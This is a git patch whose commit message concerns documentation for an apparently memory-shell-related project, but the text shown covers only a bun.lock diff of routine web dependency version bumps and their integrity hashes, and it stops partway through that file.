From ffb83138119dda78ca4958b7ee50af9651a3ea47 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 12 Dec 2025 01:53:45 +0800 Subject: [PATCH] docs: add memshell-core-config mdx --- web/bun.lock | 60 ++--- web/content/docs/compatibility.mdx | 88 +++++++ web/content/docs/custom-memshell.mdx | 45 ++-- web/content/docs/index.mdx | 101 +++----- web/content/docs/memshell-core-config.mdx | 274 ++++++++++++++++++++++ web/content/docs/memshell/meta.json | 2 +- web/content/docs/meta.json | 5 +- web/content/docs/what-is-memshell.mdx | 43 ---- web/package.json | 16 +- 9 files changed, 456 insertions(+), 178 deletions(-) create mode 100644 web/content/docs/compatibility.mdx create mode 100644 web/content/docs/memshell-core-config.mdx delete mode 100644 web/content/docs/what-is-memshell.mdx diff --git a/web/bun.lock b/web/bun.lock index e2245a3a..29b4e92d 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -13,20 +13,20 @@ "@tanstack/react-query": "^5.90.12", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.25", + "framer-motion": "^12.23.26", "fumadocs-core": "^16.2.4", "fumadocs-mdx": "14.1.0", - "fumadocs-ui": "16.2.3", + "fumadocs-ui": "16.2.4", "i18next": "^25.7.2", "isbot": "^5.1.32", - "lucide-react": "^0.556.0", - "motion": "^12.23.25", + "lucide-react": "^0.560.0", + "motion": "^12.23.26", "radix-ui": "^1.4.3", "react": "^19.2.1", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.1", "react-hook-form": "^7.68.0", - "react-i18next": "^16.4.0", + "react-i18next": "^16.4.1", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -39,7 +39,7 @@ "@react-router/dev": "^7.10.1", "@tailwindcss/vite": "^4.1.17", "@types/mdx": "^2.0.13", - "@types/node": "^24.10.2", + "@types/node": "^25.0.0", "@types/react": "^19.2.7", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", @@ -426,35 +426,35 @@ "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], - "@tailwindcss/node": ["@tailwindcss/node@4.1.17", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.17" } }, "sha512-csIkHIgLb3JisEFQ0vxr2Y57GUNYh447C8xzwj89U/8fdW8LhProdxvnVH6U8M2Y73QKiTIH+LWbK3V2BBZsAg=="], + "@tailwindcss/node": ["@tailwindcss/node@4.1.18", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.18" } }, "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ=="], - "@tailwindcss/oxide": ["@tailwindcss/oxide@4.1.17", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.17", "@tailwindcss/oxide-darwin-arm64": "4.1.17", "@tailwindcss/oxide-darwin-x64": "4.1.17", "@tailwindcss/oxide-freebsd-x64": "4.1.17", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.17", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.17", "@tailwindcss/oxide-linux-arm64-musl": "4.1.17", "@tailwindcss/oxide-linux-x64-gnu": "4.1.17", "@tailwindcss/oxide-linux-x64-musl": "4.1.17", "@tailwindcss/oxide-wasm32-wasi": "4.1.17", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.17", "@tailwindcss/oxide-win32-x64-msvc": "4.1.17" } }, "sha512-F0F7d01fmkQhsTjXezGBLdrl1KresJTcI3DB8EkScCldyKp3Msz4hub4uyYaVnk88BAS1g5DQjjF6F5qczheLA=="], + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.1.18", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.18", "@tailwindcss/oxide-darwin-arm64": "4.1.18", "@tailwindcss/oxide-darwin-x64": "4.1.18", "@tailwindcss/oxide-freebsd-x64": "4.1.18", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", "@tailwindcss/oxide-linux-x64-musl": "4.1.18", "@tailwindcss/oxide-wasm32-wasi": "4.1.18", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" } }, "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A=="], - "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.1.17", "", { "os": "android", "cpu": "arm64" }, "sha512-BMqpkJHgOZ5z78qqiGE6ZIRExyaHyuxjgrJ6eBO5+hfrfGkuya0lYfw8fRHG77gdTjWkNWEEm+qeG2cDMxArLQ=="], + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.1.18", "", { "os": "android", "cpu": "arm64" }, "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q=="], - "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.1.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-EquyumkQweUBNk1zGEU/wfZo2qkp/nQKRZM8bUYO0J+Lums5+wl2CcG1f9BgAjn/u9pJzdYddHWBiFXJTcxmOg=="], + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.1.18", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A=="], - "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.1.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-gdhEPLzke2Pog8s12oADwYu0IAw04Y2tlmgVzIN0+046ytcgx8uZmCzEg4VcQh+AHKiS7xaL8kGo/QTiNEGRog=="], + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.1.18", "", { "os": "darwin", "cpu": "x64" }, "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw=="], - "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.1.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hxGS81KskMxML9DXsaXT1H0DyA+ZBIbyG/sSAjWNe2EDl7TkPOBI42GBV3u38itzGUOmFfCzk1iAjDXds8Oh0g=="], + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.1.18", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA=="], - "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.1.17", "", { "os": "linux", "cpu": "arm" }, "sha512-k7jWk5E3ldAdw0cNglhjSgv501u7yrMf8oeZ0cElhxU6Y2o7f8yqelOp3fhf7evjIS6ujTI3U8pKUXV2I4iXHQ=="], + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.1.18", "", { "os": "linux", "cpu": "arm" }, "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA=="], - "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.1.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-HVDOm/mxK6+TbARwdW17WrgDYEGzmoYayrCgmLEw7FxTPLcp/glBisuyWkFz/jb7ZfiAXAXUACfyItn+nTgsdQ=="], + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw=="], - "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.1.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-HvZLfGr42i5anKtIeQzxdkw/wPqIbpeZqe7vd3V9vI3RQxe3xU1fLjss0TjyhxWcBaipk7NYwSrwTwK1hJARMg=="], + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg=="], - "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.1.17", "", { "os": "linux", "cpu": "x64" }, "sha512-M3XZuORCGB7VPOEDH+nzpJ21XPvK5PyjlkSFkFziNHGLc5d6g3di2McAAblmaSUNl8IOmzYwLx9NsE7bplNkwQ=="], + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g=="], - "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.1.17", "", { "os": "linux", "cpu": "x64" }, "sha512-k7f+pf9eXLEey4pBlw+8dgfJHY4PZ5qOUFDyNf7SI6lHjQ9Zt7+NcscjpwdCEbYi6FI5c2KDTDWyf2iHcCSyyQ=="], + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ=="], - "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.1.17", "", { "dependencies": { "@emnapi/core": "^1.6.0", "@emnapi/runtime": "^1.6.0", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.0.7", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-cEytGqSSoy7zK4JRWiTCx43FsKP/zGr0CsuMawhH67ONlH+T79VteQeJQRO/X7L0juEUA8ZyuYikcRBf0vsxhg=="], + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.1.18", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.0", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA=="], - "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.1.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-JU5AHr7gKbZlOGvMdb4722/0aYbU+tN6lv1kONx0JK2cGsh7g148zVWLM0IKR3NeKLv+L90chBVYcJ8uJWbC9A=="], + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.1.18", "", { "os": "win32", "cpu": "arm64" }, "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA=="], - "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.1.17", "", { "os": "win32", "cpu": "x64" }, "sha512-SKWM4waLuqx0IH+FMDUw6R66Hu4OuTALFgnleKbqhgGU30DY20NORZMZUKgLRjQXNN2TLzKvh48QXTig4h4bGw=="], + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.1.18", "", { "os": "win32", "cpu": "x64" }, "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q=="], - "@tailwindcss/vite": ["@tailwindcss/vite@4.1.17", "", { "dependencies": { "@tailwindcss/node": "4.1.17", "@tailwindcss/oxide": "4.1.17", "tailwindcss": "4.1.17" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-4+9w8ZHOiGnpcGI6z1TVVfWaX/koK7fKeSYF3qlYg2xpBtbteP2ddBxiarL+HVgfSJGeK5RIxRQmKm4rTJJAwA=="], + "@tailwindcss/vite": ["@tailwindcss/vite@4.1.18", "", { "dependencies": { "@tailwindcss/node": "4.1.18", "@tailwindcss/oxide": "4.1.18", "tailwindcss": "4.1.18" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-jVA+/UpKL1vRLg6Hkao5jldawNmRo7mQYrZtNHMIVpLfLhDml5nMRUo/8MwoX2vNXvnaXNNMedrMfMugAVX1nA=="], "@tanstack/devtools": ["@tanstack/devtools@0.8.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-ltVS+MpOrA37CiVunSOCcXctaDnQOJV6FPE5Y2uLq3m8b0spmHwp0edp1PRd2CMG4LnGIlRf7lYdhHa2p9CHNA=="], @@ -490,7 +490,7 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@24.10.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA=="], + "@types/node": ["@types/node@25.0.0", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-rl78HwuZlaDIUSeUKkmogkhebA+8K1Hy7tddZuJ3D0xV8pZSfsYGTsliGUol1JPzu9EKnTxPC4L1fiWouStRew=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], @@ -718,7 +718,7 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.23.25", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="], + "framer-motion": ["framer-motion@12.23.26", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-cPcIhgR42xBn1Uj+PzOyheMtZ73H927+uWPDVhUMqxy8UHt6Okavb6xIz9J/phFUHUj0OncR6UvMfJTXoc/LKA=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], @@ -726,7 +726,7 @@ "fumadocs-mdx": ["fumadocs-mdx@14.1.0", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.0.0", "chokidar": "^5.0.0", "esbuild": "^0.27.1", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.3", "remark-mdx": "^3.1.1", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3", "zod": "^4.1.13" }, "peerDependencies": { "@fumadocs/mdx-remote": "^1.4.0", "fumadocs-core": "^15.0.0 || ^16.0.0", "next": "^15.3.0 || ^16.0.0", "react": "*", "vite": "6.x.x || 7.x.x" }, "optionalPeers": ["@fumadocs/mdx-remote", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-6I3nXzM3+dSap5UZvKFQvOaKNKdMfxK5/8Cyu3am6zm0d/acuUxT1r1s1GQpc8H5iB9bFMtwyoZff1WN2qWq8g=="], - "fumadocs-ui": ["fumadocs-ui@16.2.3", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.3", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-VsTz6qNDvWCeMhUa688P1G79PGW0odO6SjjM1psGZQ3T/LRQyhNY32i0WHb6aota8X4zYaOnfl6bK2CMOlRQvA=="], + "fumadocs-ui": ["fumadocs-ui@16.2.4", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.4", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-oUFbPbn15GENfMcUqklQiEA3JcBvHXbGteuuPCWHvFzoxR3j+V4dOrwfgXZVZ3zL0G7/g20K0v9YBuB67hA3mg=="], "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], @@ -866,7 +866,7 @@ "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "lucide-react": ["lucide-react@0.556.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-iOb8dRk7kLaYBZhR2VlV1CeJGxChBgUthpSP8wom9jfj79qovgG6qcSdiy6vkoREKPnbUYzJsCn4o4PtG3Iy+A=="], + "lucide-react": ["lucide-react@0.560.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-NwKoUA/aBShsdL8WE5lukV2F/tjHzQRlonQs7fkNGI1sCT0Ay4a9Ap3ST2clUUkcY+9eQ0pBe2hybTQd2fmyDA=="], "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], @@ -990,7 +990,7 @@ "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "motion": ["motion@12.23.25", "", { "dependencies": { "framer-motion": "^12.23.25", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Fk5Y1kcgxYiTYOUjmwfXQAP7tP+iGqw/on1UID9WEL/6KpzxPr9jY2169OsjgZvXJdpraKXy0orkjaCVIl5fgQ=="], + "motion": ["motion@12.23.26", "", { "dependencies": { "framer-motion": "^12.23.26", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Ll8XhVxY8LXMVYTCfme27WH2GjBrCIzY4+ndr5QKxsK+YwCtOi2B/oBi5jcIbik5doXuWT/4KKDOVAZJkeY5VQ=="], "motion-dom": ["motion-dom@12.23.23", "", { "dependencies": { "motion-utils": "^12.23.6" } }, "sha512-n5yolOs0TQQBRUFImrRfs/+6X4p3Q4n1dUEqt/H58Vx7OW6RF+foWEgmTVDhIWJIMXOuNNL0apKH2S16en9eiA=="], @@ -1084,7 +1084,7 @@ "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], - "react-i18next": ["react-i18next@16.4.0", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-bxVeBA8Ky2UeItNhF4JRxHCFIrpEJHGFG/mOAa4CR0JkqaDEYSLmlEgmC4Os63SBlZ+E5U0YyrNJOSVl2mtVqQ=="], + "react-i18next": ["react-i18next@16.4.1", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-GzsYomxb1/uE7nlJm0e1qQ8f+W9I3Xirh9VoycZIahk6C8Pmv/9Fd0ek6zjf1FSgtGLElDGqwi/4FOHEGUbsEQ=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], @@ -1212,7 +1212,7 @@ "tailwind-merge": ["tailwind-merge@3.4.0", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="], - "tailwindcss": ["tailwindcss@4.1.17", "", {}, "sha512-j9Ee2YjuQqYT9bbRTfTZht9W/ytp5H+jJpZKiYdP/bpnXARAuELt9ofP0lPnmHjbga7SNQIxdTAXCmtKVYjN+Q=="], + "tailwindcss": ["tailwindcss@4.1.18", "", {}, "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw=="], "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], @@ -1360,8 +1360,6 @@ "fumadocs-mdx/esbuild": ["esbuild@0.27.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.1", "@esbuild/android-arm": "0.27.1", "@esbuild/android-arm64": "0.27.1", "@esbuild/android-x64": "0.27.1", "@esbuild/darwin-arm64": "0.27.1", "@esbuild/darwin-x64": "0.27.1", "@esbuild/freebsd-arm64": "0.27.1", "@esbuild/freebsd-x64": "0.27.1", "@esbuild/linux-arm": "0.27.1", "@esbuild/linux-arm64": "0.27.1", "@esbuild/linux-ia32": "0.27.1", "@esbuild/linux-loong64": "0.27.1", "@esbuild/linux-mips64el": "0.27.1", "@esbuild/linux-ppc64": "0.27.1", "@esbuild/linux-riscv64": "0.27.1", "@esbuild/linux-s390x": "0.27.1", "@esbuild/linux-x64": "0.27.1", "@esbuild/netbsd-arm64": "0.27.1", "@esbuild/netbsd-x64": "0.27.1", "@esbuild/openbsd-arm64": "0.27.1", "@esbuild/openbsd-x64": "0.27.1", "@esbuild/openharmony-arm64": "0.27.1", "@esbuild/sunos-x64": "0.27.1", "@esbuild/win32-arm64": "0.27.1", "@esbuild/win32-ia32": "0.27.1", "@esbuild/win32-x64": "0.27.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-yY35KZckJJuVVPXpvjgxiCuVEJT67F6zDeVTv4rizyPrfGBUpZQsvmxnN+C371c2esD/hNMjj4tpBhuueLN7aA=="], - "fumadocs-ui/fumadocs-core": ["fumadocs-core@16.2.3", "", { "dependencies": { "@formatjs/intl-localematcher": "^0.6.2", "@orama/orama": "^3.1.16", "@shikijs/rehype": "^3.19.0", "@shikijs/transformers": "^3.19.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "image-size": "^2.0.2", "negotiator": "^1.0.0", "npm-to-yarn": "^3.0.1", "path-to-regexp": "^8.3.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^3.19.0", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "@mixedbread/sdk": "^0.19.0", "@orama/core": "1.x.x", "@tanstack/react-router": "1.x.x", "@types/react": "*", "algoliasearch": "5.x.x", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0", "zod": "*" }, "optionalPeers": ["@mixedbread/sdk", "@orama/core", "@tanstack/react-router", "@types/react", "algoliasearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-HFtS0Gwf4izYbmkB8gj0sQWv8G9yyI8tM5RQ3E8fSD5IRVtBWhPq05zOIIM523XUGfDBvm/qDOquDqVF5NDO+A=="], - "mime-types/mime-db": ["mime-db@1.33.0", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="], 